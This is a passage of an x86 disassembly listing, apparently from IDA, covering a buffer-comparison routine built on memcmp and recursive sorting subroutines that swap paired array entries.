var_4		= dword	ptr -4
Buf1		= dword	ptr  8
Buf2		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	[ebp+var_14], ecx
		mov	eax, [ebp+Buf1]
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+Buf1]
		cmp	[ebp+Buf2], ecx
		sbb	edx, edx
		neg	edx
		mov	byte ptr [ebp+var_8], dl
		mov	eax, [ebp+var_8]
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_48DBE1
		mov	ecx, [ebp+Buf1]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+Buf2]
		mov	[ebp+Buf1], edx
		mov	eax, [ebp+var_10]
		mov	[ebp+Buf2], eax


loc_48DBE1:				; CODE XREF: sub_48DBA7+26j
		mov	ecx, [ebp+var_14]
		mov	edx, [ecx+4]
		sub	edx, [ebp+Buf2]
		push	edx		; Size
		mov	eax, [ebp+Buf2]
		push	eax		; Buf2
		mov	ecx, [ebp+Buf1]
		push	ecx		; Buf1
		call	_memcmp_0
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_48DC3A
		mov	edx, [ebp+var_14]
		mov	eax, [edx+4]
		sub	eax, [ebp+Buf2]
		mov	ecx, [ebp+Buf1]
		add	ecx, eax
		mov	[ebp+Buf1], ecx
		mov	edx, [ebp+var_14]
		mov	eax, [edx]
		mov	[ebp+Buf2], eax
		mov	ecx, [ebp+var_14]
		mov	edx, [ecx+4]
		sub	edx, [ebp+Buf1]
		push	edx		; Size
		mov	eax, [ebp+Buf2]
		push	eax		; Buf2
		mov	ecx, [ebp+Buf1]
		push	ecx		; Buf1
		call	_memcmp_0
		add	esp, 0Ch
		mov	[ebp+var_4], eax


loc_48DC3A:				; CODE XREF: sub_48DBA7+5Bj
		cmp	[ebp+var_4], 0
		jnz	short loc_48DC73
		mov	edx, [ebp+var_14]
		mov	eax, [edx+4]
		sub	eax, [ebp+Buf1]
		mov	ecx, [ebp+Buf2]
		add	ecx, eax
		mov	[ebp+Buf2], ecx
		mov	edx, [ebp+var_14]
		mov	eax, [edx]
		mov	[ebp+Buf1], eax
		mov	ecx, [ebp+var_C]
		sub	ecx, [ebp+Buf1]
		push	ecx		; Size
		mov	edx, [ebp+Buf2]
		push	edx		; Buf2
		mov	eax, [ebp+Buf1]
		push	eax		; Buf1
		call	_memcmp_0
		add	esp, 0Ch
		mov	[ebp+var_4], eax


loc_48DC73:				; CODE XREF: sub_48DBA7+97j
		mov	ecx, [ebp+var_8]
		and	ecx, 0FFh
		test	ecx, ecx
		jz	short loc_48DC87
		mov	eax, [ebp+var_4]
		neg	eax
		jmp	short loc_48DC8A
; ---------------------------------------------------------------------------


loc_48DC87:				; CODE XREF: sub_48DBA7+D7j
		mov	eax, [ebp+var_4]


loc_48DC8A:				; CODE XREF: sub_48DBA7+DEj
		mov	esp, ebp
		pop	ebp
		retn	8
sub_48DBA7	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp-0Ch], ecx
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+18h]
		mov	edx, [ebp+8]
		mov	eax, [ecx+edx*4]
		mov	[ebp-8], eax
		mov	ecx, [ebp-0Ch]
		mov	edx, [ecx+18h]
		mov	eax, [ebp+0Ch]
		mov	ecx, [edx+eax*4]
		mov	[ebp-4], ecx
		mov	edx, [ebp-8]
		cmp	edx, [ebp-4]
		jnz	short loc_48DCE3
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+0Ch]
		mov	edx, [ebp+0Ch]
		mov	eax, [ecx+edx*4]
		push	eax
		mov	ecx, [ebp-0Ch]
		mov	edx, [ecx+0Ch]
		mov	eax, [ebp+8]
		mov	ecx, [edx+eax*4]
		push	ecx
		mov	ecx, [ebp-0Ch]
		call	sub_48DBA7
		jmp	short loc_48DCF5
; ---------------------------------------------------------------------------


loc_48DCE3:				; CODE XREF: .text:0048DCBDj
		mov	edx, [ebp-8]
		cmp	edx, [ebp-4]
		jbe	short loc_48DCF2
		mov	eax, 1
		jmp	short loc_48DCF5
; ---------------------------------------------------------------------------


loc_48DCF2:				; CODE XREF: .text:0048DCE9j
		or	eax, 0FFFFFFFFh


loc_48DCF5:				; CODE XREF: .text:0048DCE1j
					; .text:0048DCF0j
		mov	esp, ebp
		pop	ebp
		retn	8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_48DCFB	proc near		; CODE XREF: sub_48DCFB+543p
					; sub_48DCFB+565p ...

var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0A8h
		push	esi
		mov	[ebp+var_A8], ecx
		mov	eax, [ebp+arg_0]
		add	eax, 2
		cmp	eax, [ebp+arg_4]
		jnz	loc_48DDC9
		mov	ecx, [ebp+var_A8]
		mov	edx, [ecx+18h]
		mov	eax, [ebp+var_A8]
		mov	ecx, [eax+18h]
		mov	eax, [ebp+arg_0]
		mov	esi, [ebp+arg_0]
		mov	edx, [edx+eax*4]
		cmp	edx, [ecx+esi*4+4]
		jbe	loc_48DDC4
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+var_2C], eax
		mov	ecx, [ebp+var_A8]
		mov	edx, [ecx+0Ch]
		mov	eax, [ebp+arg_0]
		lea	ecx, [edx+eax*4]
		mov	[ebp+var_1C], ecx
		mov	edx, [ebp+var_A8]
		mov	eax, [edx+0Ch]
		mov	ecx, [ebp+var_2C]
		lea	edx, [eax+ecx*4]
		mov	[ebp+var_20], edx
		mov	eax, [ebp+var_1C]
		mov	ecx, [eax]
		mov	[ebp+var_24], ecx
		mov	edx, [ebp+var_1C]
		mov	eax, [ebp+var_20]
		mov	ecx, [eax]
		mov	[edx], ecx
		mov	edx, [ebp+var_20]
		mov	eax, [ebp+var_24]
		mov	[edx], eax
		mov	ecx, [ebp+var_A8]
		mov	edx, [ecx+18h]
		mov	eax, [ebp+arg_0]
		lea	ecx, [edx+eax*4]
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+var_A8]
		mov	eax, [edx+18h]
		mov	ecx, [ebp+var_2C]
		lea	edx, [eax+ecx*4]
		mov	[ebp+var_18], edx
		mov	eax, [ebp+var_14]
		mov	ecx, [eax]
		mov	[ebp+var_28], ecx
		mov	edx, [ebp+var_14]
		mov	eax, [ebp+var_18]
		mov	ecx, [eax]
		mov	[edx], ecx
		mov	edx, [ebp+var_18]
		mov	eax, [ebp+var_28]
		mov	[edx], eax


loc_48DDC4:				; CODE XREF: sub_48DCFB+3Ej
		jmp	loc_48E265
; ---------------------------------------------------------------------------


loc_48DDC9:				; CODE XREF: sub_48DCFB+19j
		mov	ecx, [ebp+arg_0]
		add	ecx, 3
		cmp	ecx, [ebp+arg_4]
		jnz	loc_48DFEE
		mov	edx, [ebp+var_A8]
		mov	eax, [edx+18h]
		mov	ecx, [ebp+var_A8]
		mov	edx, [ecx+18h]
		mov	ecx, [ebp+arg_0]
		mov	esi, [ebp+arg_0]
		mov	eax, [eax+ecx*4]
		cmp	eax, [edx+esi*4+8]
		jbe	loc_48DE82
		mov	ecx, [ebp+arg_0]
		add	ecx, 2
		mov	[ebp+var_48], ecx
		mov	edx, [ebp+var_A8]
		mov	eax, [edx+0Ch]
		mov	ecx, [ebp+arg_0]
		lea	edx, [eax+ecx*4]
		mov	[ebp+var_38], edx
		mov	eax, [ebp+var_A8]
		mov	ecx, [eax+0Ch]
		mov	edx, [ebp+var_48]
		lea	eax, [ecx+edx*4]
		mov	[ebp+var_3C], eax
		mov	ecx, [ebp+var_38]
		mov	edx, [ecx]
		mov	[ebp+var_40], edx
		mov	eax, [ebp+var_38]
		mov	ecx, [ebp+var_3C]
		mov	edx, [ecx]
		mov	[eax], edx
		mov	eax, [ebp+var_3C]
		mov	ecx, [ebp+var_40]
		mov	[eax], ecx
		mov	edx, [ebp+var_A8]
		mov	eax, [edx+18h]
		mov	ecx, [ebp+arg_0]
		lea	edx, [eax+ecx*4]
		mov	[ebp+var_30], edx
		mov	eax, [ebp+var_A8]
		mov	ecx, [eax+18h]
		mov	edx, [ebp+var_48]
		lea	eax, [ecx+edx*4]
		mov	[ebp+var_34], eax
		mov	ecx, [ebp+var_30]
		mov	edx, [ecx]
		mov	[ebp+var_44], edx
		mov	eax, [ebp+var_30]
		mov	ecx, [ebp+var_34]
		mov	edx, [ecx]
		mov	[eax], edx
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_44]
		mov	[eax], ecx


loc_48DE82:				; CODE XREF: sub_48DCFB+FCj
		mov	edx, [ebp+var_A8]
		mov	eax, [edx+18h]
		mov	ecx, [ebp+var_A8]
		mov	edx, [ecx+18h]
		mov	ecx, [ebp+arg_0]
		mov	esi, [ebp+arg_0]
		mov	eax, [eax+ecx*4]
		cmp	eax, [edx+esi*4+4]
		jbe	loc_48DF31
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+var_64], ecx
		mov	edx, [ebp+var_A8]
		mov	eax, [edx+0Ch]
		mov	ecx, [ebp+arg_0]
		lea	edx, [eax+ecx*4]
		mov	[ebp+var_54], edx
		mov	eax, [ebp+var_A8]
		mov	ecx, [eax+0Ch]
		mov	edx, [ebp+var_64]
		lea	eax, [ecx+edx*4]
		mov	[ebp+var_58], eax
		mov	ecx, [ebp+var_54]
		mov	edx, [ecx]
		mov	[ebp+var_5C], edx
		mov	eax, [ebp+var_54]
		mov	ecx, [ebp+var_58]
		mov	edx, [ecx]
		mov	[eax], edx
		mov	eax, [ebp+var_58]
		mov	ecx, [ebp+var_5C]
		mov	[eax], ecx
		mov	edx, [ebp+var_A8]
		mov	eax, [edx+18h]
		mov	ecx, [ebp+arg_0]
		lea	edx, [eax+ecx*4]
		mov	[ebp+var_4C], edx
		mov	eax, [ebp+var_A8]
		mov	ecx, [eax+18h]
		mov	edx, [ebp+var_64]
		lea	eax, [ecx+edx*4]
		mov	[ebp+var_50], eax
		mov	ecx, [ebp+var_4C]
		mov	edx, [ecx]
		mov	[ebp+var_60], edx
		mov	eax, [ebp+var_4C]
		mov	ecx, [ebp+var_50]
		mov	edx, [ecx]
		mov	[eax], edx
		mov	eax, [ebp+var_50]
		mov	ecx, [ebp+var_60]
		mov	[eax], ecx
		jmp	loc_48DFEE
; ---------------------------------------------------------------------------


loc_48DF31:				; CODE XREF: sub_48DCFB+1A6j
		mov	edx, [ebp+var_A8]
		mov	eax, [edx+18h]
		mov	ecx, [ebp+var_A8]
		mov	edx, [ecx+18h]
		mov	ecx, [ebp+arg_0]
		mov	esi, [ebp+arg_0]
		mov	eax, [eax+ecx*4+4]
		cmp	eax, [edx+esi*4+8]
		jbe	loc_48DFEE
		mov	ecx, [ebp+arg_0]
		add	ecx, 2
		mov	[ebp+var_84], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+var_80], edx
		mov	eax, [ebp+var_A8]
		mov	ecx, [eax+0Ch]
		mov	edx, [ebp+var_80]
		lea	eax, [ecx+edx*4]
		mov	[ebp+var_70], eax
		mov	ecx, [ebp+var_A8]
		mov	edx, [ecx+0Ch]
		mov	eax, [ebp+var_84]
		lea	ecx, [edx+eax*4]
		mov	[ebp+var_74], ecx
		mov	edx, [ebp+var_70]
		mov	eax, [edx]
		mov	[ebp+var_78], eax
		mov	ecx, [ebp+var_70]
		mov	edx, [ebp+var_74]
		mov	eax, [edx]
		mov	[ecx], eax
		mov	ecx, [ebp+var_74]
		mov	edx, [ebp+var_78]
		mov	[ecx], edx
		mov	eax, [ebp+var_A8]
		mov	ecx, [eax+18h]
		mov	edx, [ebp+var_80]
		lea	eax, [ecx+edx*4]
		mov	[ebp+var_68], eax
		mov	ecx, [ebp+var_A8]
		mov	edx, [ecx+18h]
		mov	eax, [ebp+var_84]
		lea	ecx, [edx+eax*4]
		mov	[ebp+var_6C], ecx
		mov	edx, [ebp+var_68]
		mov	eax, [edx]
		mov	[ebp+var_7C], eax
		mov	ecx, [ebp+var_68]
		mov	edx, [ebp+var_6C]
		mov	eax, [edx]
		mov	[ecx], eax
		mov	ecx, [ebp+var_6C]
		mov	edx, [ebp+var_7C]
		mov	[ecx], edx


loc_48DFEE:				; CODE XREF: sub_48DCFB+D7j
					; sub_48DCFB+231j ...
		mov	eax, [ebp+var_A8]
		mov	ecx, [eax+18h]
		mov	edx, [ebp+arg_0]
		lea	eax, [ecx+edx*4]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_A8]
		mov	edx, [ecx+18h]
		mov	eax, [ebp+arg_4]
		lea	ecx, [edx+eax*4]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_8]
		mov	eax, [edx]
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_8]
		add	ecx, 4
		mov	[ebp+var_8], ecx


loc_48E023:				; CODE XREF: sub_48DCFB+34Dj
		mov	edx, [ebp+var_8]
		cmp	edx, [ebp+var_C]
		jnb	short loc_48E04A
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		cmp	ecx, [ebp+var_10]
		jnb	short loc_48E037
		jmp	short loc_48E04A
; ---------------------------------------------------------------------------


loc_48E037:				; CODE XREF: sub_48DCFB+338j
		mov	edx, [ebp+var_8]
		mov	eax, [edx]
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_8]
		add	ecx, 4
		mov	[ebp+var_8], ecx
		jmp	short loc_48E023
; ---------------------------------------------------------------------------


loc_48E04A:				; CODE XREF: sub_48DCFB+32Ej
					; sub_48DCFB+33Aj
		mov	edx, [ebp+var_8]
		cmp	edx, [ebp+var_C]
		jnz	short loc_48E057
		jmp	loc_48E265
; ---------------------------------------------------------------------------


loc_48E057:				; CODE XREF: sub_48DCFB+355j
		mov	eax, [ebp+var_A8]
		mov	ecx, [eax+18h]
		mov	edx, [ebp+arg_0]
		lea	eax, [ecx+edx*4]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_A8]
		mov	edx, [ecx+18h]
		mov	eax, [ebp+arg_4]
		lea	ecx, [edx+eax*4-4]
		mov	[ebp+var_C], ecx


loc_48E07C:				; CODE XREF: sub_48DCFB:loc_48E1CBj
		mov	edx, 1
		test	edx, edx
		jz	loc_48E1D0


loc_48E089:				; CODE XREF: sub_48DCFB+3ABj
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_C]
		jnb	short loc_48E0A8
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx]
		and	edx, [ebp+arg_8]
		test	edx, edx
		jnz	short loc_48E0A8
		mov	eax, [ebp+var_8]
		add	eax, 4
		mov	[ebp+var_8], eax
		jmp	short loc_48E089
; ---------------------------------------------------------------------------


loc_48E0A8:				; CODE XREF: sub_48DCFB+394j
					; sub_48DCFB+3A0j ...
		mov	ecx, [ebp+var_C]
		cmp	ecx, [ebp+var_8]
		jbe	short loc_48E0C7
		mov	edx, [ebp+var_C]
		mov	eax, [edx]
		and	eax, [ebp+arg_8]
		test	eax, eax
		jz	short loc_48E0C7
		mov	ecx, [ebp+var_C]
		sub	ecx, 4
		mov	[ebp+var_C], ecx
		jmp	short loc_48E0A8
; ---------------------------------------------------------------------------


loc_48E0C7:				; CODE XREF: sub_48DCFB+3B3j
					; sub_48DCFB+3BFj
		mov	edx, [ebp+var_8]
		cmp	edx, [ebp+var_C]
		jnb	loc_48E1C9
		mov	eax, [ebp+var_A8]
		mov	ecx, [ebp+var_C]
		sub	ecx, [eax+18h]
		sar	ecx, 2
		mov	[ebp+var_A4], ecx
		mov	edx, [ebp+var_A8]
		mov	eax, [ebp+var_8]
		sub	eax, [edx+18h]
		sar	eax, 2
		mov	[ebp+var_A0], eax
		mov	ecx, [ebp+var_8]
		add	ecx, 4
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_C]
		sub	edx, 4
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_A8]
		mov	ecx, [eax+0Ch]
		mov	edx, [ebp+var_A0]
		lea	eax, [ecx+edx*4]
		mov	[ebp+var_90], eax
		mov	ecx, [ebp+var_A8]
		mov	edx, [ecx+0Ch]
		mov	eax, [ebp+var_A4]
		lea	ecx, [edx+eax*4]
		mov	[ebp+var_94], ecx
		mov	edx, [ebp+var_90]
		mov	eax, [edx]
		mov	[ebp+var_98], eax
		mov	ecx, [ebp+var_90]
		mov	edx, [ebp+var_94]
		mov	eax, [edx]
		mov	[ecx], eax
		mov	ecx, [ebp+var_94]
		mov	edx, [ebp+var_98]
		mov	[ecx], edx
		mov	eax, [ebp+var_A8]
		mov	ecx, [eax+18h]
		mov	edx, [ebp+var_A0]
		lea	eax, [ecx+edx*4]
		mov	[ebp+var_88], eax
		mov	ecx, [ebp+var_A8]
		mov	edx, [ecx+18h]
		mov	eax, [ebp+var_A4]
		lea	ecx, [edx+eax*4]
		mov	[ebp+var_8C], ecx
		mov	edx, [ebp+var_88]
		mov	eax, [edx]
		mov	[ebp+var_9C], eax
		mov	ecx, [ebp+var_88]
		mov	edx, [ebp+var_8C]
		mov	eax, [edx]
		mov	[ecx], eax
		mov	ecx, [ebp+var_8C]
		mov	edx, [ebp+var_9C]
		mov	[ecx], edx
		jmp	short loc_48E1CB
; ---------------------------------------------------------------------------


loc_48E1C9:				; CODE XREF: sub_48DCFB+3D2j
		jmp	short loc_48E1D0
; ---------------------------------------------------------------------------


loc_48E1CB:				; CODE XREF: sub_48DCFB+4CCj
		jmp	loc_48E07C
; ---------------------------------------------------------------------------


loc_48E1D0:				; CODE XREF: sub_48DCFB+388j
					; sub_48DCFB:loc_48E1C9j
		mov	eax, [ebp+var_A8]
		mov	ecx, [eax+18h]
		mov	edx, [ebp+arg_4]
		lea	eax, [ecx+edx*4]
		mov	[ebp+var_C], eax


loc_48E1E2:				; CODE XREF: sub_48DCFB+504j
		mov	ecx, [ebp+var_8]
		cmp	ecx, [ebp+var_C]
		jnb	short loc_48E201
		mov	edx, [ebp+var_8]
		mov	eax, [edx]
		and	eax, [ebp+arg_8]
		test	eax, eax
		jnz	short loc_48E201
		mov	ecx, [ebp+var_8]
		add	ecx, 4
		mov	[ebp+var_8], ecx
		jmp	short loc_48E1E2
; ---------------------------------------------------------------------------


loc_48E201:				; CODE XREF: sub_48DCFB+4EDj
					; sub_48DCFB+4F9j
		mov	edx, [ebp+var_A8]
		mov	eax, [ebp+var_8]
		sub	eax, [edx+18h]
		sar	eax, 2
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_8]
		shr	ecx, 1
		mov	[ebp+arg_8], ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_48E265
		mov	edx, [ebp+arg_0]
		add	edx, 1
		cmp	edx, [ebp+var_4]
		jnb	short loc_48E243
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		mov	ecx, [ebp+var_A8]
		call	sub_48DCFB


loc_48E243:				; CODE XREF: sub_48DCFB+52Fj
		mov	eax, [ebp+var_4]
		add	eax, 1
		cmp	eax, [ebp+arg_4]
		jnb	short loc_48E265
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+var_A8]
		call	sub_48DCFB


loc_48E265:				; CODE XREF: sub_48DCFB:loc_48DDC4j
					; sub_48DCFB+357j ...
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	0Ch
sub_48DCFB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_48E26C	proc near		; CODE XREF: sub_48E26C+5D6p
					; sub_48E26C+626p ...

var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 9Ch
		push	esi
		mov	[ebp+var_9C], ecx
		mov	eax, [ebp+arg_0]
		add	eax, 2
		cmp	eax, [ebp+arg_4]
		jnz	loc_48E349
		mov	ecx, [ebp+var_9C]
		mov	edx, [ecx+0Ch]
		mov	eax, [ebp+arg_0]
		mov	ecx, [edx+eax*4+4]
		push	ecx		; Buf2
		mov	edx, [ebp+var_9C]
		mov	eax, [edx+0Ch]
		mov	ecx, [ebp+arg_0]
		mov	edx, [eax+ecx*4]
		push	edx		; Buf1
		mov	ecx, [ebp+var_9C]
		call	sub_48DBA7
		test	eax, eax
		jle	loc_48E344
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+var_34], eax
		mov	ecx, [ebp+var_9C]
		mov	edx, [ecx+0Ch]
		mov	eax, [ebp+arg_0]
		lea	ecx, [edx+eax*4]
		mov	[ebp+var_24], ecx
		mov	edx, [ebp+var_9C]
		mov	eax, [edx+0Ch]
		mov	ecx, [ebp+var_34]
		lea	edx, [eax+ecx*4]
		mov	[ebp+var_28], edx
		mov	eax, [ebp+var_24]
		mov	ecx, [eax]
		mov	[ebp+var_2C], ecx
		mov	edx, [ebp+var_24]
		mov	eax, [ebp+var_28]
		mov	ecx, [eax]
		mov	[edx], ecx
		mov	edx, [ebp+var_28]
		mov	eax, [ebp+var_2C]
		mov	[edx], eax
		mov	ecx, [ebp+var_9C]
		mov	edx, [ecx+18h]
		mov	eax, [ebp+arg_0]
		lea	ecx, [edx+eax*4]
		mov	[ebp+var_1C], ecx
		mov	edx, [ebp+var_9C]
		mov	eax, [edx+18h]
		mov	ecx, [ebp+var_34]
		lea	edx, [eax+ecx*4]
		mov	[ebp+var_20], edx
		mov	eax, [ebp+var_1C]
		mov	ecx, [eax]
		mov	[ebp+var_30], ecx
		mov	edx, [ebp+var_1C]
		mov	eax, [ebp+var_20]
		mov	ecx, [eax]
		mov	[edx], ecx
		mov	edx, [ebp+var_20]
		mov	eax, [ebp+var_30]
		mov	[edx], eax


loc_48E344:				; CODE XREF: sub_48E26C+4Dj
		jmp	loc_48E897
; ---------------------------------------------------------------------------


loc_48E349:				; CODE XREF: sub_48E26C+19j
		mov	ecx, [ebp+arg_0]
		add	ecx, 3
		cmp	ecx, [ebp+arg_4]
		jnz	loc_48E5AF
		mov	edx, [ebp+var_9C]
		mov	eax, [edx+0Ch]
		mov	ecx, [ebp+arg_0]
		mov	edx, [eax+ecx*4+8]
		push	edx		; Buf2
		mov	eax, [ebp+var_9C]
		mov	ecx, [eax+0Ch]
		mov	edx, [ebp+arg_0]
		mov	eax, [ecx+edx*4]
		push	eax		; Buf1
		mov	ecx, [ebp+var_9C]
		call	sub_48DBA7
		test	eax, eax
		jle	loc_48E411
		mov	ecx, [ebp+arg_0]
		add	ecx, 2
		mov	[ebp+var_50], ecx
		mov	edx, [ebp+var_9C]
		mov	eax, [edx+0Ch]
		mov	ecx, [ebp+arg_0]
		lea	edx, [eax+ecx*4]
		mov	[ebp+var_40], edx
		mov	eax, [ebp+var_9C]
		mov	ecx, [eax+0Ch]
		mov	edx, [ebp+var_50]
		lea	eax, [ecx+edx*4]
		mov	[ebp+var_44], eax
		mov	ecx, [ebp+var_40]
		mov	edx, [ecx]
		mov	[ebp+var_48], edx
		mov	eax, [ebp+var_40]
		mov	ecx, [ebp+var_44]
		mov	edx, [ecx]
		mov	[eax], edx
		mov	eax, [ebp+var_44]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	edx, [ebp+var_9C]
		mov	eax, [edx+18h]
		mov	ecx, [ebp+arg_0]
		lea	edx, [eax+ecx*4]
		mov	[ebp+var_38], edx
		mov	eax, [ebp+var_9C]
		mov	ecx, [eax+18h]
		mov	edx, [ebp+var_50]
		lea	eax, [ecx+edx*4]
		mov	[ebp+var_3C], eax
		mov	ecx, [ebp+var_38]
		mov	edx, [ecx]
		mov	[ebp+var_4C], edx
		mov	eax, [ebp+var_38]
		mov	ecx, [ebp+var_3C]
		mov	edx, [ecx]
		mov	[eax], edx
		mov	eax, [ebp+var_3C]
		mov	ecx, [ebp+var_4C]
		mov	[eax], ecx


loc_48E411:				; CODE XREF: sub_48E26C+11Aj
		mov	edx, [ebp+var_9C]
		mov	eax, [edx+0Ch]
		mov	ecx, [ebp+arg_0]
		mov	edx, [eax+ecx*4+4]
		push	edx		; Buf2
		mov	eax, [ebp+var_9C]
		mov	ecx, [eax+0Ch]
		mov	edx, [ebp+arg_0]
		mov	eax, [ecx+edx*4]
		push	eax		; Buf1
		mov	ecx, [ebp+var_9C]
		call	sub_48DBA7
		test	eax, eax
		jle	loc_48E4CF
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+var_6C], ecx
		mov	edx, [ebp+var_9C]
		mov	eax, [edx+0Ch]
		mov	ecx, [ebp+arg_0]
		lea	edx, [eax+ecx*4]
		mov	[ebp+var_5C], edx
		mov	eax, [ebp+var_9C]
		mov	ecx, [eax+0Ch]
		mov	edx, [ebp+var_6C]
		lea	eax, [ecx+edx*4]
		mov	[ebp+var_60], eax
		mov	ecx, [ebp+var_5C]
		mov	edx, [ecx]
		mov	[ebp+var_64], edx
		mov	eax, [ebp+var_5C]
		mov	ecx, [ebp+var_60]
		mov	edx, [ecx]
		mov	[eax], edx
		mov	eax, [ebp+var_60]
		mov	ecx, [ebp+var_64]
		mov	[eax], ecx
		mov	edx, [ebp+var_9C]
		mov	eax, [edx+18h]
		mov	ecx, [ebp+arg_0]
		lea	edx, [eax+ecx*4]
		mov	[ebp+var_54], edx
		mov	eax, [ebp+var_9C]
		mov	ecx, [eax+18h]
		mov	edx, [ebp+var_6C]
		lea	eax, [ecx+edx*4]
		mov	[ebp+var_58], eax
		mov	ecx, [ebp+var_54]
		mov	edx, [ecx]
		mov	[ebp+var_68], edx
		mov	eax, [ebp+var_54]
		mov	ecx, [ebp+var_58]
		mov	edx, [ecx]
		mov	[eax], edx
		mov	eax, [ebp+var_58]
		mov	ecx, [ebp+var_68]
		mov	[eax], ecx
		jmp	loc_48E5AA
; ---------------------------------------------------------------------------


loc_48E4CF:				; CODE XREF: sub_48E26C+1D3j
		mov	edx, [ebp+var_9C]
		mov	eax, [edx+0Ch]
		mov	ecx, [ebp+arg_0]
		mov	edx, [eax+ecx*4+8]
		push	edx		; Buf2
		mov	eax, [ebp+var_9C]
		mov	ecx, [eax+0Ch]
		mov	edx, [ebp+arg_0]
		mov	eax, [ecx+edx*4+4]
		push	eax		; Buf1
		mov	ecx, [ebp+var_9C]
		call	sub_48DBA7
		test	eax, eax
		jle	loc_48E5AA
		mov	ecx, [ebp+arg_0]
		add	ecx, 2
		mov	[ebp+var_8C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+var_88], edx
		mov	eax, [ebp+var_9C]
		mov	ecx, [eax+0Ch]
		mov	edx, [ebp+var_88]
		lea	eax, [ecx+edx*4]
		mov	[ebp+var_78], eax
		mov	ecx, [ebp+var_9C]
		mov	edx, [ecx+0Ch]
		mov	eax, [ebp+var_8C]
		lea	ecx, [edx+eax*4]
		mov	[ebp+var_7C], ecx
		mov	edx, [ebp+var_78]
		mov	eax, [edx]
		mov	[ebp+var_80], eax
		mov	ecx, [ebp+var_78]
		mov	edx, [ebp+var_7C]
		mov	eax, [edx]
		mov	[ecx], eax
